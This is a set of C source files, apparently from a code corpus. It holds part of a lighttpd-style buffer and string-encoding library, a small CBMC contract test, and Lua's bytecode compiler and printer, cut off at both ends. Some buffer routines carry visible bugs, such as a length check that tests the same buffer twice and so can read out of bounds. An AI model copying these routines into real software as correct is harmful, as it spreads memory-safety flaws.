= buffer_init(); } b->ptr[b->used]->used = 0; return b->ptr[b->used++]; } char * buffer_search_string_len(buffer *b, const char *needle, size_t len) { size_t i; if (len == 0) return NULL; if (needle == NULL) return NULL; if (b->used < len) return NULL; for(i = 0; i < b->used - len; i++) { if (0 == memcmp(b->ptr + i, needle, len)) { return b->ptr + i; } } return NULL; } buffer *buffer_init_string(const char *str) { buffer *b = buffer_init(); buffer_copy_string(b, str); return b; } int buffer_is_empty(buffer *b) { if (!b) return 1; return (b->used == 0); } /** * check if two buffer contain the same data * * HISTORY: this function was pretty much optimized, but didn't handled * alignment properly. */ int buffer_is_equal(buffer *a, buffer *b) { if (a->used != b->used) return 0; if (a->used == 0) return 1; return (0 == strcmp(a->ptr, b->ptr)); } int buffer_is_equal_string(buffer *a, const char *s, size_t b_len) { buffer b; b.ptr = (char *)s; b.used = b_len + 1; return buffer_is_equal(a, &b); } /* simple-assumption: * * most parts are equal and doing a case conversion needs time * */ int buffer_caseless_compare(const char *a, size_t a_len, const char *b, size_t b_len) { size_t ndx = 0, max_ndx; size_t *al, *bl; size_t mask = sizeof(*al) - 1; al = (size_t *)a; bl = (size_t *)b; /* is the alignment correct ? */ if ( ((size_t)al & mask) == 0 && ((size_t)bl & mask) == 0 ) { max_ndx = ((a_len < b_len) ? a_len : b_len) & ~mask; for (; ndx < max_ndx; ndx += sizeof(*al)) { if (*al != *bl) break; al++; bl++; } } a = (char *)al; b = (char *)bl; max_ndx = ((a_len < b_len) ? a_len : b_len); for (; ndx < max_ndx; ndx++) { char a1 = *a++, b1 = *b++; if (a1 != b1) { if ((a1 >= 'A' && a1 <= 'Z') && (b1 >= 'a' && b1 <= 'z')) a1 |= 32; else if ((a1 >= 'a' && a1 <= 'z') && (b1 >= 'A' && b1 <= 'Z')) b1 |= 32; if ((a1 - b1) != 0) return (a1 - b1); } } /* all chars are the same, and the length match too * * they are the same */ if (a_len == b_len) return 0; /* if a is shorter then b, then b is larger */ return (a_len - b_len); } /** * check if the rightmost bytes of the string are equal. * * */ int buffer_is_equal_right_len(buffer *b1, buffer *b2, size_t len) { /* no, len -> equal */ if (len == 0) return 1; /* len > 0, but empty buffers -> not equal */ if (b1->used == 0 || b2->used == 0) return 0; /* buffers too small -> not equal */ if (b1->used - 1 < len || b1->used - 1 < len) return 0; if (0 == strncmp(b1->ptr + b1->used - 1 - len, b2->ptr + b2->used - 1 - len, len)) { return 1; } return 0; } int buffer_copy_string_hex(buffer *b, const char *in, size_t in_len) { size_t i; /* BO protection */ if (in_len * 2 < in_len) return -1; buffer_prepare_copy(b, in_len * 2 + 1); for (i = 0; i < in_len; i++) { b->ptr[b->used++] = hex_chars[(in[i] >> 4) & 0x0F]; b->ptr[b->used++] = hex_chars[in[i] & 0x0F]; } b->ptr[b->used++] = '\0'; return 0; } /* everything except: ! ( ) * - . 0-9 A-Z _ a-z */ const char encoded_chars_rel_uri_part[] = { /* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 00 - 0F control chars */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 10 - 1F */ 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, /* 20 - 2F space " # $ % & ' + , / */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, /* 30 - 3F : ; < = > ? */ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 40 - 4F @ */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, /* 50 - 5F [ \ ] ^ */ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 60 - 6F ` */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, /* 70 - 7F { | } ~ DEL */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 80 - 8F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 90 - 9F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* A0 - AF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* B0 - BF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* C0 - CF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* D0 - DF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* E0 - EF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* F0 - FF */ }; /* everything except: ! ( ) * - . / 0-9 A-Z _ a-z */ const char encoded_chars_rel_uri[] = { /* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 00 - 0F control chars */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 10 - 1F */ 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, /* 20 - 2F space " # $ % & ' + , */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, /* 30 - 3F : ; < = > ? */ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 40 - 4F @ */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, /* 50 - 5F [ \ ] ^ */ 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 60 - 6F ` */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, /* 70 - 7F { | } ~ DEL */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 80 - 8F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 90 - 9F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* A0 - AF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* B0 - BF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* C0 - CF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* D0 - DF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* E0 - EF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* F0 - FF */ }; const char encoded_chars_html[] = { /* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 00 - 0F control chars */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 10 - 1F */ 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 20 - 2F & */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, /* 30 - 3F < > */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 40 - 4F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 50 - 5F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 60 - 6F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, /* 70 - 7F DEL */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 80 - 8F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 90 - 9F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* A0 - AF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* B0 - BF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* C0 - CF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* D0 - DF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* E0 - EF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* F0 - FF */ }; const char encoded_chars_minimal_xml[] = { /* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 00 - 0F control chars */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 10 - 1F */ 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 20 - 2F & */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, /* 30 - 3F < > */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 40 - 4F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 50 - 5F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 60 - 6F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, /* 70 - 7F DEL */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 80 - 8F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 90 - 9F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* A0 - AF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* B0 - BF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* C0 - CF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* D0 - DF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* E0 - EF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* F0 - FF */ }; const char encoded_chars_hex[] = { /* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 00 - 0F control chars */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 10 - 1F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 20 - 2F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 30 - 3F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 40 - 4F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 50 - 5F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 60 - 6F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 70 - 7F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 80 - 8F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* 90 - 9F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* A0 - AF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* B0 - BF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* C0 - CF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* D0 - DF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* E0 - EF */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, /* F0 - FF */ }; const char encoded_chars_http_header[] = { /* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, /* 00 - 0F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 10 - 1F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 20 - 2F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 30 - 3F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 40 - 4F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 50 - 5F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 60 - 6F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 70 - 7F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 80 - 8F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* 90 - 9F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* A0 - AF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* B0 - BF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* C0 - CF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* D0 - DF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* E0 - EF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, /* F0 - FF */ }; int buffer_append_string_encoded(buffer *b, const char *s, size_t s_len, buffer_encoding_t encoding) { unsigned char *ds, *d; size_t d_len, ndx; const char *map = NULL; if (!s || !b) return -1; if (b->ptr[b->used - 1] != '\0') { SEGFAULT(); } if (s_len == 0) return 0; switch(encoding) { case ENCODING_REL_URI: map = encoded_chars_rel_uri; break; case ENCODING_REL_URI_PART: map = encoded_chars_rel_uri_part; break; case ENCODING_HTML: map = encoded_chars_html; break; case ENCODING_MINIMAL_XML: map = encoded_chars_minimal_xml; break; case ENCODING_HEX: map = encoded_chars_hex; break; case ENCODING_HTTP_HEADER: map = encoded_chars_http_header; break; case ENCODING_UNSET: break; } assert(map != NULL); /* count to-be-encoded-characters */ for (ds = (unsigned char *)s, d_len = 0, ndx = 0; ndx < s_len; ds++, ndx++) { if (map[*ds]) { switch(encoding) { case ENCODING_REL_URI: case ENCODING_REL_URI_PART: d_len += 3; break; case ENCODING_HTML: case ENCODING_MINIMAL_XML: d_len += 6; break; case ENCODING_HTTP_HEADER: case ENCODING_HEX: d_len += 2; break; case ENCODING_UNSET: break; } } else { d_len ++; } } buffer_prepare_append(b, d_len); for (ds = (unsigned char *)s, d = (unsigned char *)b->ptr + b->used - 1, d_len = 0, ndx = 0; ndx < s_len; ds++, ndx++) { if (map[*ds]) { switch(encoding) { case ENCODING_REL_URI: case ENCODING_REL_URI_PART: d[d_len++] = '%'; d[d_len++] = hex_chars[((*ds) >> 4) & 0x0F]; d[d_len++] = hex_chars[(*ds) & 0x0F]; break; case ENCODING_HTML: case ENCODING_MINIMAL_XML: d[d_len++] = '&'; d[d_len++] = '#'; d[d_len++] = 'x'; d[d_len++] = hex_chars[((*ds) >> 4) & 0x0F]; d[d_len++] = hex_chars[(*ds) & 0x0F]; d[d_len++] = ';'; break; case ENCODING_HEX: d[d_len++] = hex_chars[((*ds) >> 4) & 0x0F]; d[d_len++] = hex_chars[(*ds) & 0x0F]; break; case ENCODING_HTTP_HEADER: d[d_len++] = *ds; d[d_len++] = '\t'; break; case ENCODING_UNSET: break; } } else { d[d_len++] = *ds; } } /* terminate buffer and calculate new length */ b->ptr[b->used + d_len - 1] = '\0'; b->used += d_len; return 0; } /* decodes url-special-chars inplace. * replaces non-printable characters with '_' */ static int buffer_urldecode_internal(buffer *url, int is_query) { unsigned char high, low; const char *src; char *dst; if (!url || !url->ptr) return -1; src = (const char*) url->ptr; dst = (char*) url->ptr; while ((*src) != '\0') { if (is_query && *src == '+') { *dst = ' '; } else if (*src == '%') { *dst = '%'; high = hex2int(*(src + 1)); if (high != 0xFF) { low = hex2int(*(src + 2)); if (low != 0xFF) { high = (high << 4) | low; /* map control-characters out */ if (high < 32 || high == 127) high = '_'; *dst = high; src += 2; } } } else { *dst = *src; } dst++; src++; } *dst = '\0'; url->used = (dst - url->ptr) + 1; return 0; } int buffer_urldecode_path(buffer *url) { return buffer_urldecode_internal(url, 0); } int buffer_urldecode_query(buffer *url) { return buffer_urldecode_internal(url, 1); } /* Remove "/../", "//", "/./" parts from path. * * /blah/.. gets / * /blah/../foo gets /foo * /abc/./xyz gets /abc/xyz * /abc//xyz gets /abc/xyz * * NOTE: src and dest can point to the same buffer, in which case, * the operation is performed in-place. */ int buffer_path_simplify(buffer *dest, buffer *src) { int toklen; char c, pre1; char *start, *slash, *walk, *out; unsigned short pre; if (src == NULL || src->ptr == NULL || dest == NULL) return -1; if (src == dest) buffer_prepare_append(dest, 1); else buffer_prepare_copy(dest, src->used + 1); walk = src->ptr; start = dest->ptr; out = dest->ptr; slash = dest->ptr; #if defined(__WIN32) || defined(__CYGWIN__) /* cygwin is treating \ and / the same, so we have to that too */ for (walk = src->ptr; *walk; walk++) { if (*walk == '\\') *walk = '/'; } walk = src->ptr; #endif while (*walk == ' ') { walk++; } pre1 = *(walk++); c = *(walk++); pre = pre1; if (pre1 != '/') { pre = ('/' << 8) | pre1; *(out++) = '/'; } *(out++) = pre1; if (pre1 == '\0') { dest->used = (out - start) + 1; return 0; } while (1) { if (c == '/' || c == '\0') { toklen = out - slash; if (toklen == 3 && pre == (('.' << 8) | '.')) { out = slash; if (out > start) { out--; while (out > start && *out != '/') { out--; } } if (c == '\0') out++; } else if (toklen == 1 || pre == (('/' << 8) | '.')) { out = slash; if (c == '\0') out++; } slash = out; } if (c == '\0') break; pre1 = c; pre = (pre << 8) | pre1; c = *walk; *out = pre1; out++; walk++; } *out = '\0'; dest->used = (out - start) + 1; return 0; } int light_isdigit(int c) { return (c >= '0' && c <= '9'); } int light_isxdigit(int c) { if (light_isdigit(c)) return 1; c |= 32; return (c >= 'a' && c <= 'f'); } int light_isalpha(int c) { c |= 32; return (c >= 'a' && c <= 'z'); } int light_isalnum(int c) { return light_isdigit(c) || light_isalpha(c); } int buffer_to_lower(buffer *b) { char *c; if (b->used == 0) return 0; for (c = b->ptr; *c; c++) { if (*c >= 'A' && *c <= 'Z') { *c |= 32; } } return 0; } int buffer_to_upper(buffer *b) { char *c; if (b->used == 0) return 0; for (c = b->ptr; *c; c++) { if (*c >= 'a' && *c <= 'z') { *c &= ~32; } } return 0; }
763708.c
// clang-format off int f1(int *arr) __CPROVER_assigns(*arr) __CPROVER_ensures( __CPROVER_return_value == 0 && __CPROVER_exists { int i; (0 <= i && i < 10) && arr[i] == i } ) // clang-format on { for(int i = 0; i < 10; i++) { arr[i] = i; } return 0; } int main() { int arr[10]; f1(arr); }
891664.c
/* ** $Id: luac.c,v 1.69 2011/11/29 17:46:33 lhf Exp $ ** Lua compiler (saves bytecodes to files; also list bytecodes) ** See Copyright Notice in lua.h */ #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define luac_c #define LUA_CORE #include "lua.h" #include "lauxlib.h" #include "lobject.h" #include "lstate.h" #include "lundump.h" static void PrintFunction(const Proto* f, int full); #define luaU_print PrintFunction #define PROGNAME "luac" /* default program name */ #define OUTPUT PROGNAME ".out" /* default output file */ static int listing=0; /* list bytecodes? */ static int dumping=1; /* dump bytecodes? */ static int stripping=0; /* strip debug information? */ static char Output[]={ OUTPUT }; /* default output file name */ static const char* output=Output; /* actual output file name */ static const char* progname=PROGNAME; /* actual program name */ static void fatal(const char* message) { fprintf(stderr,"%s: %s\n",progname,message); exit(EXIT_FAILURE); } static void cannot(const char* what) { fprintf(stderr,"%s: cannot %s %s: %s\n",progname,what,output,strerror(errno)); exit(EXIT_FAILURE); } static void usage(const char* message) { if (*message=='-') fprintf(stderr,"%s: unrecognized option " LUA_QS "\n",progname,message); else fprintf(stderr,"%s: %s\n",progname,message); fprintf(stderr, "usage: %s [options] [filenames]\n" "Available options are:\n" " -l list (use -l -l for full listing)\n" " -o name output to file " LUA_QL("name") " (default is \"%s\")\n" " -p parse only\n" " -s strip debug information\n" " -v show version information\n" " -- stop handling options\n" " - stop handling options and process stdin\n" ,progname,Output); exit(EXIT_FAILURE); } #define IS(s) (strcmp(argv[i],s)==0) static int doargs(int argc, char* argv[]) { int i; int version=0; if (argv[0]!=NULL && *argv[0]!=0) progname=argv[0]; for (i=1; i<argc; i++) { if (*argv[i]!='-') /* end of options; keep it */ break; else if (IS("--")) /* end of options; skip it */ { ++i; if (version) ++version; break; } else if (IS("-")) /* end of options; use stdin */ break; else if (IS("-l")) /* list */ ++listing; else if (IS("-o")) /* output file */ { output=argv[++i]; if (output==NULL || *output==0 || (*output=='-' && output[1]!=0)) usage(LUA_QL("-o") " needs argument"); if (IS("-")) output=NULL; } else if (IS("-p")) /* parse only */ dumping=0; else if (IS("-s")) /* strip debug information */ stripping=1; else if (IS("-v")) /* show version */ ++version; else /* unknown option */ usage(argv[i]); } if (i==argc && (listing || !dumping)) { dumping=0; argv[--i]=Output; } if (version) { printf("%s\n",LUA_COPYRIGHT); if (version==argc-1) exit(EXIT_SUCCESS); } return i; } #define FUNCTION "(function()end)();" static const char* reader(lua_State *L, void *ud, size_t *size) { UNUSED(L); if ((*(int*)ud)--) { *size=sizeof(FUNCTION)-1; return FUNCTION; } else { *size=0; return NULL; } } #define toproto(L,i) getproto(L->top+(i)) static const Proto* combine(lua_State* L, int n) { if (n==1) return toproto(L,-1); else { Proto* f; int i=n; if (lua_load(L,reader,&i,"=(" PROGNAME ")",NULL)!=LUA_OK) fatal(lua_tostring(L,-1)); f=toproto(L,-1); for (i=0; i<n; i++) { f->p[i]=toproto(L,i-n-1); if (f->p[i]->sp->sizeupvalues>0) f->p[i]->sp->upvalues[0].instack=0; } f->sp->sizelineinfo=0; return f; } } static int writer(lua_State* L, const void* p, size_t size, void* u) { UNUSED(L); return (fwrite(p,size,1,(FILE*)u)!=1) && (size!=0); } static int pmain(lua_State* L) { int argc=(int)lua_tointeger(L,1); char** argv=(char**)lua_touserdata(L,2); const Proto* f; int i; if (!lua_checkstack(L,argc)) fatal("too many input files"); for (i=0; i<argc; i++) { const char* filename=IS("-") ? NULL : argv[i]; if (luaL_loadfile(L,filename)!=LUA_OK) fatal(lua_tostring(L,-1)); } f=combine(L,argc); if (listing) luaU_print(f,listing>1); if (dumping) { FILE* D= (output==NULL) ? stdout : fopen(output,"wb"); if (D==NULL) cannot("open"); lua_lock(L); luaU_dump(L,f,writer,D,stripping); lua_unlock(L); if (ferror(D)) cannot("write"); if (fclose(D)) cannot("close"); } return 0; } int main(int argc, char* argv[]) { lua_State* L; int i=doargs(argc,argv); argc-=i; argv+=i; if (argc<=0) usage("no input files given"); L=luaL_newstate(); if (L==NULL) fatal("cannot create state: not enough memory"); lua_pushcfunction(L,&pmain); lua_pushinteger(L,argc); lua_pushlightuserdata(L,argv); if (lua_pcall(L,2,0,0)!=LUA_OK) fatal(lua_tostring(L,-1)); lua_close(L); return EXIT_SUCCESS; } /* ** $Id: print.c,v 1.69 2013/07/04 01:03:46 lhf Exp $ ** print bytecodes ** See Copyright Notice in lua.h */ #include <ctype.h> #include <stdio.h> #define luac_c #define LUA_CORE #include "ldebug.h" #include "lobject.h" #include "lopcodes.h" #define VOID(p) ((const void*)(p)) static void PrintString(const TString* ts) { const char* s=getstr(ts); size_t i,n=ts->tsv.len; printf("%c",'"'); for (i=0; i<n; i++) { int c=(int)(unsigned char)s[i]; switch (c) { case '"': printf("\\\""); break; case '\\': printf("\\\\"); break; case '\a': printf("\\a"); break; case '\b': printf("\\b"); break; case '\f': printf("\\f"); break; case '\n': printf("\\n"); break; case '\r': printf("\\r"); break; case '\t': printf("\\t"); break; case '\v': printf("\\v"); break; default: if (isprint(c)) printf("%c",c); else printf("\\%03d",c); } } printf("%c",'"'); } static void PrintConstant(const Proto* f, int i) { const TValue* o=&f->k[i]; switch (ttypenv(o)) { case LUA_TNIL: printf("nil"); break; case LUA_TBOOLEAN: printf(bvalue(o) ? "true" : "false"); break; case LUA_TNUMBER: printf(LUA_NUMBER_FMT,nvalue(o)); break; case LUA_TSTRING: PrintString(rawtsvalue(o)); break; default: /* cannot happen */ printf("? type=%d",ttype(o)); break; } } #define UPVALNAME(x) ((f->sp->upvalues[x].name) ? getstr(f->sp->upvalues[x].name) : "-") #define MYK(x) (-1-(x)) static void PrintCode(const Proto* f) { const SharedProto *sp = f->sp; const Instruction* code=sp->code; int pc,n=sp->sizecode; for (pc=0; pc<n; pc++) { Instruction i=code[pc]; OpCode o=GET_OPCODE(i); int a=GETARG_A(i); int b=GETARG_B(i); int c=GETARG_C(i); int ax=GETARG_Ax(i); int bx=GETARG_Bx(i); int sbx=GETARG_sBx(i); int line=getfuncline(f,pc); printf("\t%d\t",pc+1); if (line>0) printf("[%d]\t",line); else printf("[-]\t"); printf("%-9s\t",luaP_opnames[o]); switch (getOpMode(o)) { case iABC: printf("%d",a); if (getBMode(o)!=OpArgN) printf(" %d",ISK(b) ? (MYK(INDEXK(b))) : b); if (getCMode(o)!=OpArgN) printf(" %d",ISK(c) ? (MYK(INDEXK(c))) : c); break; case iABx: printf("%d",a); if (getBMode(o)==OpArgK) printf(" %d",MYK(bx)); if (getBMode(o)==OpArgU) printf(" %d",bx); break; case iAsBx: printf("%d %d",a,sbx); break; case iAx: printf("%d",MYK(ax)); break; } switch (o) { case OP_LOADK: printf("\t; "); PrintConstant(f,bx); break; case OP_GETUPVAL: case OP_SETUPVAL: printf("\t; %s",UPVALNAME(b)); break; case OP_GETTABUP: printf("\t; %s",UPVALNAME(b)); if (ISK(c)) { printf(" "); PrintConstant(f,INDEXK(c)); } break; case OP_SETTABUP: printf("\t; %s",UPVALNAME(a)); if (ISK(b)) { printf(" "); PrintConstant(f,INDEXK(b)); } if (ISK(c)) { printf(" "); PrintConstant(f,INDEXK(c)); } break; case OP_GETTABLE: case OP_SELF: if (ISK(c)) { printf("\t; "); PrintConstant(f,INDEXK(c)); } break; case OP_SETTABLE: case OP_ADD: case OP_SUB: case OP_MUL: case OP_DIV: case OP_POW: case OP_EQ: case OP_LT: case OP_LE: if (ISK(b) || ISK(c)) { printf("\t; "); if (ISK(b)) PrintConstant(f,INDEXK(b)); else printf("-"); printf(" "); if (ISK(c)) PrintConstant(f,INDEXK(c)); else printf("-"); } break; case OP_JMP: case OP_FORLOOP: case OP_FORPREP: case OP_TFORLOOP: printf("\t; to %d",sbx+pc+2); break; case OP_CLOSURE: printf("\t; %p",VOID(f->p[bx])); break; case OP_SETLIST: if (c==0) printf("\t; %d",(int)code[++pc]); else printf("\t; %d",c); break; case OP_EXTRAARG: printf("\t; "); PrintConstant(f,ax); break; default: break; } printf("\n"); } } #define SS(x) ((x==1)?"":"s") #define S(x) (int)(x),SS(x) static void PrintHeader(const SharedProto* f) { const char* s=f->source ? getstr(f->source) : "=?"; if (*s=='@' || *s=='=') s++; else if (*s==LUA_SIGNATURE[0]) s="(bstring)"; else s="(string)"; printf("\n%s <%s:%d,%d> (%d instruction%s at %p)\n", (f->linedefined==0)?"main":"function",s, f->linedefined,f->lastlinedefined, S(f->sizecode),VOID(f)); printf("%d%s param%s, %d slot%s, %d upvalue%s, ", (int)(f->numparams),f->is_vararg?"+":"",SS(f->numparams), S(f->maxstacksize),S(f->sizeupvalues)); printf("%d local%s, %d constant%s, %d function%s\n", S(f->sizelocvars),S(f->sizek),S(f->sizep)); } static void PrintDebug(const Proto* f) { const SharedProto *sp = f->sp; int i,n; n=sp->sizek; printf("constants (%d) for %p:\n",n,VOID(f)); for (i=0; i<n; i++) { printf("\t%d\t",i+1); PrintConstant(f,i); printf("\n"); } n=sp->sizelocvars; printf("locals (%d) for %p:\n",n,VOID(f)); for (i=0; i<n; i++) { printf("\t%d\t%s\t%d\t%d\n", i,getstr(sp->locvars[i].varname),sp->locvars[i].startpc+1,sp->locvars[i].endpc+1); } n=sp->sizeupvalues; printf("upvalues (%d) for %p:\n",n,VOID(f)); for (i=0; i<n; i++) { printf("\t%d\t%s\t%d\t%d\n", i,UPVALNAME(i),sp->upvalues[i].instack,sp->upvalues[i].idx); } } static void 